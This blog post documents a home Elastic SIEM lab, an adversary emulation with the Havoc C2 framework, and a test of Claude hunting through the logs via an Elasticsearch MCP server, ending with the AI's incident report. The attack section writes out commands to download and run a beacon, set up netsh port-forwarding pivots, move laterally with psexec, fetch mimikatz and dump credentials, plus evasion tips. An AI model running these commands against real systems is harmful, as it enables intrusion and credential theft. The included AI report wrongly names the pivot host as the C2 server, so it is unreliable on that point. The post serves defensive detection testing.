🤖

Threat Hunting with Elastic MCP

For the last 2 weeks I’ve been doing some DFIR CTF labs by Xintra
🕵🏼
Xintra: Assassin Kitty
Xintra: VirusViper
Xintra: VirusViper
Because I’m relatively new to the DFIR/Threat Hunting space, I’ve relied quite a bit on LLMs asking them prompts like
I have ingested Windows Security and Proxy logs. What information and events should I search for when looking for successful RDP connections?
And it would tell me to look for logon type = 3 for RDP events correlated with IP and time etcetera.
It was really helpful, but with the whole rage about MCPs and agents reasoning for a given task, I wondered how well would that hold up for Agentic Threat Hunting (ATH).
Since I obviously don’t have access to the Elastic cluster of Xintra, I had to setup everything from scratch just to simulate it.
In this post I’m going to through a few things
  1. Setting up Elastic
  1. Setting up Claude MCP
  1. Adversarial Emulation using Havoc
  1. Using Claude and MCP to perform automated threat hunting
  1. Closing thoughts
If you’re not interested in the Elastic setup, feel free to skip ahead to the MCP portion

Setting up Elastic

You could use Elastic Cloud, but it’s not free
notion image
So I opted to do a local install instead (this means you have to use Stand-alone agents down the road, but I’ll cover that as well)
Lucky for me, I have a spare laptop wit Xubuntu installed, so I’ll use that as my dedicated Elastic server.
My trusty standalone Elastic server
My trusty standalone Elastic server
Installation of Elastic on this machine is relatively simple
  1. Install Docker
    1. https://docs.docker.com/engine/install/ubuntu/
  1. Install Elastic
    1. https://www.elastic.co/docs/deploy-manage/deploy/self-managed/local-development-installation-quickstart
After it’s done, it would automatically spin up and run the image before showing the login details
notion image
When Elastic is installed, it’s hosted on localhost, but since I’m hosting it on my separate machine, I need to configure it to run on the local IP instead.
We edit ./elastic-start-local/docker-compose.yml and change all instances of localhost to the IP address of the machine.
notion image
notion image
After you have made those changes in docker-compose.yml, stop the server with stop.sh and start the server again with start.sh
Now I can access the site on my “main” machine
notion image

Configure Security Logging on the Windows Machines

Before installing the agent, we need to configure the ETW sources on the Windows machines that we want to install the agent on.
You can dig deeper into ETW channels in this excellent post here: https://benjitrapp.github.io/defenses/2024-02-11-etw/
We follow this post to enable baseline security logging for Windows

Setting up Elastic Policies

With Security Logging enabled, we can start to create Elastic policies.
To install Elastic Agents on a fleet, you need a HTTPs website as a C2 for the Agents.
Since we’re doing it all locally, I’m going to use standalone agents instead.
On the Elastic site go to Fleet
notion image
Before adding an Agent, we setup an Agent policy. Click on Agent policies
notion image
Then Create agent policy
notion image
We’re going to collect ETW events, we we name this policy ETW.
Feel free to click Collect system logs and metrics if you want, but I’m not interested in them so it’s disabled
notion image
Create the policy and we should be able to see it
notion image
Click into the policy and you should see Add integration
notion image
It’s here that we’re setup our ETW integrations
Click on Add integration and you should be brought to the integrations page.
Search for Windows and select Custom Windows Event Logs
notion image
Click Add Custom Windows Event Logs
notion image
And we’re going to have to select with ETW channel we want to subscribe to
notion image
We add an integration for Windows Security Log which should contain everything we require. Enter Security in the Channel Name
notion image
Keep the dataset name to winlog.winlog, but if you want to change it, take note that you have to select the correct name when choosing the Dataset later in the visualization.
At the bottom of the page, add the integration to ETW which the policy group we created earlier
If you see this message, click Add Elastic Agent later
notion image
Now your policy page should look something like this
notion image
Click on Settings
Modify the Outputs section which specifies where your agents will send data to. In my case, I’m sending it to the IP address of my Elastic server running on my laptop
notion image
Click on the Agent tab and then Add Agent
notion image
Choose the Run standalone tab, and you should see the pre-generated elastic-agent.yml configuration file containing all the ETW feeds we specified earlier that we want to ingest
Scroll down and copy the installation instructions
đź’ˇ
There’s a typo in the 3rd line
Expand-Archive .elastic-agent-9.0.0-windows-x86_64.zip
It should be
Expand-Archive ./elastic-agent-9.0.0-windows-x86_64.zip
$ProgressPreference = 'SilentlyContinue' Invoke-WebRequest -Uri https://artifacts.elastic.co/downloads/beats/elastic-agent/elastic-agent-9.0.0-windows-x86_64.zip -OutFile elastic-agent-9.0.0-windows-x86_64.zip Expand-Archive ./elastic-agent-9.0.0-windows-x86_64.zip -DestinationPath . cd elastic-agent-9.0.0-windows-x86_64 .\elastic-agent.exe install

Installing the Agent

Copy the (fixed) PowerShell commands and run it on the VM machine
Enter Y for running as a service
Enter n for enrolling into a Fleet, as we’re installing this as a standalone
notion image
Edit the file C:\Program Files\Elastic\Agent\elastic-agent.yml and paste in the configuration pre-generated above
notion image
It should now look something like this with the api_key as a variable
notion image
Back to the Elastic console, click Create API key which will generate an API key.
notion image
Paste it into the elastic-agent.yml and save it
notion image
Now we restart the Elastic service by running these in cmd (Not PowerShell)
sc stop "Elastic Agent" sc start "Elastic Agent"
notion image

Viewing the Events

Click on the side panel and Discover to navigate to the events viewer
notion image
In the Data view, select logs-winlog.winlog-default which reads the logs from our defined log source that stores the ETW events
notion image
On the machine, try starting a new process like notepad.exe or calc.exe, and you should see Process Creation events coming in
notion image

Generating API key for Elastic searching

Going back to our Elastic dashboard, we need to generate an API key to allow searching of the index.
Head to /app/management/security/api_keys
notion image
Create API key, and fill in the details.
If you want to limit access to which data Claude can search on, enable Control security privileges and configure the ACLs for the indexes.
For me, since I’m running it locally, I’m going to leave it unchecked for now.
notion image
After generating the API key, the value will pop up and you will need to copy it to your claude_desktop_config.json later, so keep it save it somewhere!
notion image
Just to recap,
  1. We got the cluster up and running
  1. We’ve installed and configured the Elastic agent on the machine
  1. We’ve setup the various integrations to ingest Security logs from the machine
  1. We’re able to see the events streaming into Elastic
  1. We’ve created an API key to allow remote searching of data
Now on to Threat Hunting with MCP!

Claude MCP

To use Claude MCP, you need to download the desktop version.
Once installed, go to File -> Settings
notion image
Click the Developer tab
notion image
Click Edit Config which will link you to the claude_desktop_config.json file
notion image
Opening the file, it’s initially an empty with no configurations set.
notion image
Following the guide here
We copy and paste the template MCP configuration
{ "mcpServers": { "Elasticsearch MCP Server": { "command": "npx", "args": [ "-y", "@elastic/mcp-server-elasticsearch" ], "env": { "ES_URL": "", "ES_API_KEY": "" } } } }
ES_URL should be your URL of your Elastic server at port 9200
Paste the API key we generated earlier for searching data in Elastic
notion image
Save the file and close it, navigating back to Claude Desktop
đź’ˇ
You need to restart the Claude Desktop application after saving the config file
To view the MCP logs, you have to enable Developer Mode on Claude Desktop
notion image
Once done you should be able to see a new menu field Developer -> Open MCP Log File...
notion image
Lets run a test command to see if it can connect to the Elastic cluster
What indices do I have in my elastic cluster
On running it, there will be a pop up which you can click Allow always
notion image
And we will get something like this
notion image

Attack Setup

Infra

On the two Windows machines that we have installed the Elastic Agents on
  • Attacker
    • 192.168.203.153
    • Although called Attacker, it really the first victim, and acts as the pivot host to the second machine Victim
  • Victim
    • 192.168.203.154
    • This machine will be compromised via the pivot machine
  • C2 server
    • The C2 server is configured to run Kali
    • We use Havoc as the C2 infrastructure

Attack Scenario

  1. Generate a payload using Havoc
  1. Drop payload on Attacker
  1. Execute payload on Attacker to get the first connection to the C2
  1. Setup port forwarding rules on Attacker to connect to the C2
  1. Pivot to Victim using psexec
  1. Download mimikatz.exe onto Victim using the forwarded port
  1. Execute mimikatz.exe on Victim to dump credentials

1. Generate a payload using Havoc

I chose to use the Havoc C2 framework because having the GUI is a nice way to visualize the attack we’re going to carry out.
Simply follow the instructions here: https://havocframework.com/docs/installation
At the end of it, you should have a team server running, and a client connecting to the team server running on port 40056 with the default user Neo:password1234
# Run the teamserver ./havoc server --profile ./profiles/havoc.yaotl -v --debug
# Run the client ./havoc client
notion image
notion image
Now we’re at the main page of Havoc, we need to do 2 things
  1. Create a listener for the pivot
  1. Create a listener for the internal victim
  1. Generate payloads for both listeners
To create a listener, go to View->Listeners to open up the Listeners tab, and click Add. In this example, we’re creating a HTTP listener on port 80. In a real attack, we could choose either 443 or 80 to blend in with normal network traffic.
If the attack has extensive footprint of the target, we could also spoof a User Agent that is identical to the endpoints in the target environment. For example, we can send then a non-malicious link, or a legitimate advertisement model months before the actual attack for the sole purpose of gathering their User Agent values.
In this example we’re also not using a proxy, but in a real attack, you likely don’t want the target to connect directly to your server, but rather jump through a few hoops of proxy to hide behind.
đź’ˇ
Remember to open the chosen port on your attacker machine to allow the connection from the victim.
$> sudo ufw allow 80
notion image
Save it, and we should see a new entry for us to create a payload from
notion image
Now when we click Attack->Payload, we should see a drop down of the available listeners with the default being http-listener we just created.
We can leave most things default here, but there are some opsec considerations to take note of, such as spawning notepad.exe or the beacon intervals.
notion image
Hit Generate and it would take a while to build and compile the payloads. Save them anywhere you want once it’s done
notion image
We generate another SMB listener that we will deploy on the victim. This payload will connect to our pivot machine before connecting back to the C2 server
notion image
notion image
For this payload, select Windows Service Exe for the format as we want to deploy it as a service using psexec
notion image
notion image

2. Dropping the Payload

Now that we have generated both payloads, we transfer the http-listener payload to the first machine.
“Real world” attacks typical go through the route of phishing or sending an .lnk file that executes PowerShell commands, but for simplicity we run a HTTP server on the attacker machine, and the victim downloads the payload onto theirs.
Navigate to the folder where the generated payload resides and start a python server
python3 -m http.server 8001
On the victim, we download the payload
PS> iwr http://192.168.1.119:8001/demon.x64.exe -O demon.x64.exe

3. Executing the Payload

To avoid the tedious task of privilege escalation, we run the payload as Administrator.
notion image
Back on our Havoc C2 console, we should see a connection back to port 80 or which ever port you configured.
notion image
đź’ˇ
Again, remember to open the port on your attacker machine

4. Setup network forwarding rules

Now that we have compromised the first machine, it’s going to be our pivot host to get into the next machine.
We setup the pivot machine with port forwarding rules so that the internal machines can download tools from our attacker machine.
We forward connections to the pivot machine on port 443 to port 8080 on the attacker machine
We issue these commands to the agent
powershell "netsh interface portproxy add v4tov4 listenport=443 listenaddress=192.168.208.153 connectport=8080 connectaddress=192.168.1.118"
Open up the firewall port on the pivot machine
powershell "netsh advfirewall firewall add rule name='port_forward_443' protocol=TCP dir=in localip=192.168.208.153 localport=443 action=allow"
notion image
On the attacker machine, we also have to open port 8080
$> sudo ufw allow 8080

5. PSExec for lateral movement

Use jump-exec and psexec to deploy the SMB payload on victim machine. What this does it that it will create a service on the victim machine
jump-exec psexec victim DemonSvc2 /home/r00t/Desktop/demon_svc.exe
Once the service has been started, we connect to the named pipe
pivot connect victim smb_listener
notion image
If we click on View->Session View->Graph, it should look nicely like this 👹
notion image

6. Download Mimikatz

Using the agent on VICTIM machine, we download mimikatz via the pivot machine. Remember earlier we setup a port forward from 443 of the pivot machine to 8080 on the attacker server, so on VICTIM, we download from the pivot machine on 443
powershell "iwr http://192.168.208.153:443/mimikatz.exe -O C:\Users\Victim\Desktop\mimikatz.exe"
notion image

7. Dump Credentials using Mimikatz

Finally, we run a nice mimikatz oneliner to dump out the hashes
powershell "C:\Users\Victim\Desktop\mimikatz.exe 'privilege::debug' 'token::elevate' 'sekurlsa::logonpasswords' 'lsadump::lsa /inject' 'exit'"
notion image

MCP Threat Hunting

The goal is simple, given the entry binary on the first machine, task the agent to perform threat hunting for us and see what activities it can uncover.
We give the model some context such as the operating system, which logs are ingested and the name of the binary.
Claude also does not do well when there’s a large amount of data returned, so we need to insert some safeguards around the size of the return data. Limiting the results and preventing searching of field mappings seem to be sufficient.
Here’s the full prompt
I found this binary "demon.x64.exe" on the endpoint with hostname "attacker". Analyze find all potential malicious activities on this machine, lateral movements to other machines, and malicious activities on those machines. Search only .ds-logs-winlog.winlog-default-2025.05.23-000001 index, and query the minimum number of data required to do the investigation. Do not search for field mappings .ds-logs-winlog.winlog-default-2025.05.23-000001 index was populated using Windows Security log limit the amount of data to 10 or less
And here’s the video of it in action!

Shortcomings

While its quite amazing that an AI agent can perform threat hunting, it’s clearly lacking in a few areas
  • You have to prompt it to find malicious activities on the “attacker” and “victim”, it won’t automatically investigate “attacker”, nor pivot to perform investigations on “victim” (perhaps a more concise prompt was needed to explicitly tell it to do that)
  • It missed out the PowerShell process spawned to setup a port forwarder to the C2 infra. Because of that, it did not flag out the C2 IP address and instead mistakenly labelled the pivot machine 192.168.208.153 as the host for mimikatz.exe
  • This is a relatively simple scenario. With more complex scenarios, more endpoints and more noise it would likely not do well, perhaps only highlighting surface level findings.
Therefore… don’t rely too much on AI to do your threat hunting. Without an explicit clear prompt on what to investigate, it would start making false assumptions based on the available data, producing both False Positives (wrongly attributing the C2) and False Negatives (not identifying the port forwarding rule)
To me, a human analyst is definitely still required to sieve through the messy data and noise generated from all the activity. Also, an experienced Threat Hunter would very quickly form a hypothesis and dig deeper into those incidents without having to constantly prompt an AI into the right direction.
As usual, augmentation would be key rather than replacement. Using the tacit knowledge of a skilled Threat Hunter leveraged with AI, they can craft the correct prompts to conduct a thorough investigation. The AI Agent can also have default instructions to dig as deeply as possible into the events so that the Threat Hunter need to constantly spell the instructions out.
 
The generated report by Claude:

Demon.x64.exe Incident Analysis Report

Executive Summary

Analysis of the "demon.x64.exe" binary revealed a successful lateral movement attack from the "attacker" host to the "victim" host. The malware established persistence through service installation and executed reconnaissance commands on the target system.

Timeline of Events

Initial Execution (Source: attacker)

  • Time: 2025-05-23T14:30:37.841Z
  • Host: attacker
  • Event: Process creation (Event ID 4688)
  • Process: C:\Users\attacker\Desktop\demon.x64.exe
  • Parent Process: C:\Windows\explorer.exe
  • Process ID: 0x23b4
  • User Context: ATTACKER$

Lateral Movement Activity

Network Logon Events (Target: victim)

Multiple successful network logons detected from attacker to victim machine:
  • First Logon: 2025-05-23T14:36:18.862Z
  • Source IP: 192.168.208.153 (attacker machine)
  • Target Domain: VICTIM
  • Username: attacker
  • Workstation: ATTACKER
  • Logon Type: 3 (Network logon)

Subsequent Logons

  • 2025-05-23T14:36:40.341Z - Network logon from 192.168.208.153
  • 2025-05-23T14:37:05.821Z - Network logon from 192.168.208.153

Malware Deployment (Target: victim)

  • Time: 2025-05-23T14:36:40.378Z
  • Host: victim
  • Event: Process creation (Event ID 4688)
  • Process: \\Device\Mup\victim\C$\Windows\demonsvc.exe
  • Command Line: \\\\victim\\C$\\Windows\\demonsvc.exe
  • Parent Process: C:\Windows\System32\services.exe
  • User Context: VICTIM$

Malicious Tool Download (Target: victim)

  • Time: 2025-05-23T14:38:36.049Z
  • Host: victim
  • Action: PowerShell download command
  • Command: C "iwr http://192.168.208.153:443/mimikatz.exe -O C:\Users\victim\Desktop\mimikatz.exe"
  • Parent Process: demonsvc.exe
  • Purpose: Download Mimikatz credential harvesting tool

Credential Harvesting Attack (Target: victim)

  • Time: 2025-05-23T14:39:59.094Z & 2025-05-23T14:39:59.334Z
  • Host: victim
  • Tool: Mimikatz execution
  • Command: C:\Users\Victim\Desktop\mimikatz.exe 'privilege::debug' 'token::elevate' 'sekurlsa::logonpasswords' 'lsadump::lsa /inject' 'exit'
  • Purpose: Extract plaintext passwords and hashes from memory
  • Techniques Used:
    • Debug privilege escalation
    • Token elevation
    • LSASS memory dump for credentials
    • LSA secrets extraction

Reconnaissance Activity (Target: victim)

Multiple network discovery commands executed:
  • Times: 2025-05-23T14:38:01.578Z, 14:43:01.599Z, 14:48:01.582Z, 14:53:01.592Z
  • Command: arp -a
  • Purpose: Network enumeration for lateral movement planning

Key Findings

Attack Vector

The demon.x64.exe executable was manually executed on the attacker machine, likely by a user through Windows Explorer.

Lateral Movement Method

The malware successfully performed lateral movement using:
  • Network share access (\\\\victim\\C$)
  • Service installation for persistence (demonsvc.exe)
  • Administrative/system-level privileges

Persistence Mechanism

The malware established persistence by:
  • Installing itself as a service (demonsvc.exe) in C:\Windows\
  • Running under SYSTEM context through Windows services

Malicious Activities on Victim Machine

1. Service Installation & Persistence

  • Process: demonsvc.exe deployed to C:\Windows\
  • Method: Administrative share access via \victim\C$
  • Execution Context: SYSTEM privileges through Windows services
  • Persistence: Registered as Windows service for automatic startup

2. Credential Harvesting Operation

The most critical malicious activity involved a sophisticated credential theft attack:
Tool Download:
  • Downloaded Mimikatz from attacker's web server (192.168.208.153:443)
  • Stored at: C:\Users\victim\Desktop\mimikatz.exe
  • Download method: PowerShell Invoke-WebRequest
Credential Extraction:
  • Tool: Mimikatz v2.x (industry-standard credential harvesting tool)
  • Techniques Deployed:
    • privilege::debug - Enabled debug privileges for memory access
    • token::elevate - Elevated process token to SYSTEM level
    • sekurlsa::logonpasswords - Extracted plaintext passwords from LSASS memory
    • lsadump::lsa /inject - Dumped LSA secrets and cached credentials
  • Impact: Complete credential compromise of all logged-on users

3. Network Reconnaissance

Persistent network discovery activities for lateral movement planning:
  • Command: arp -a (executed 4+ times over 15-minute period)
  • Purpose: Enumerate network neighbors and potential targets
  • Frequency: Every 5 minutes (automated reconnaissance pattern)

4. Command & Control Infrastructure

  • C2 Server: 192.168.208.153:443 (HTTPS)
  • Communication Method: Direct HTTP downloads
  • Infrastructure: Attacker-controlled web server for tool delivery

Infrastructure Details

  • Source Host: attacker (192.168.208.153)
  • Target Host: victim
  • Network: 192.168.208.0/24 subnet
  • Compromised User: attacker account with cross-domain access

Recommendations

Immediate Actions

  1. Isolate both "attacker" and "victim" hosts
  1. Remove demonsvc.exe service from victim machine
  1. Reset credentials for "attacker" user account
  1. Analyze network traffic between 192.168.208.153 and victim host

Long-term Security Measures

  1. Implement network segmentation
  1. Monitor administrative share access
  1. Deploy endpoint detection and response (EDR) solutions
  1. Regular security awareness training for users
  1. Implement principle of least privilege

IOCs (Indicators of Compromise)

Files

  • demon.x64.exe - Original malware binary (C:\Users\attacker\Desktop\demon.x64.exe)
  • demonsvc.exe - Service persistence component (C:\Windows\demonsvc.exe)
  • mimikatz.exe - Credential harvesting tool (C:\Users\victim\Desktop\mimikatz.exe)

Network Indicators

  • Source IP: 192.168.208.153 (attacker machine)
  • C2 Server: 192.168.208.153:443 (tool download server)
  • Download URL: http://192.168.208.153:443/mimikatz.exe

Process Indicators

  • Service Name: demonsvc.exe
  • PowerShell Commands:
    • iwr http://192.168.208.153:443/mimikatz.exe -O C:\Users\victim\Desktop\mimikatz.exe
    • Mimikatz execution with privilege escalation parameters
  • Network Commands: Repeated arp -a execution pattern

Behavioral Indicators

  • Administrative share access (\victim\C$)
  • Service installation for persistence
  • Credential dumping activities
  • Systematic network reconnaissance
  • HTTPS-based tool delivery
This analysis was conducted using minimal data queries (5 searches, 10 records limit) to efficiently identify the attack pattern and lateral movement activities.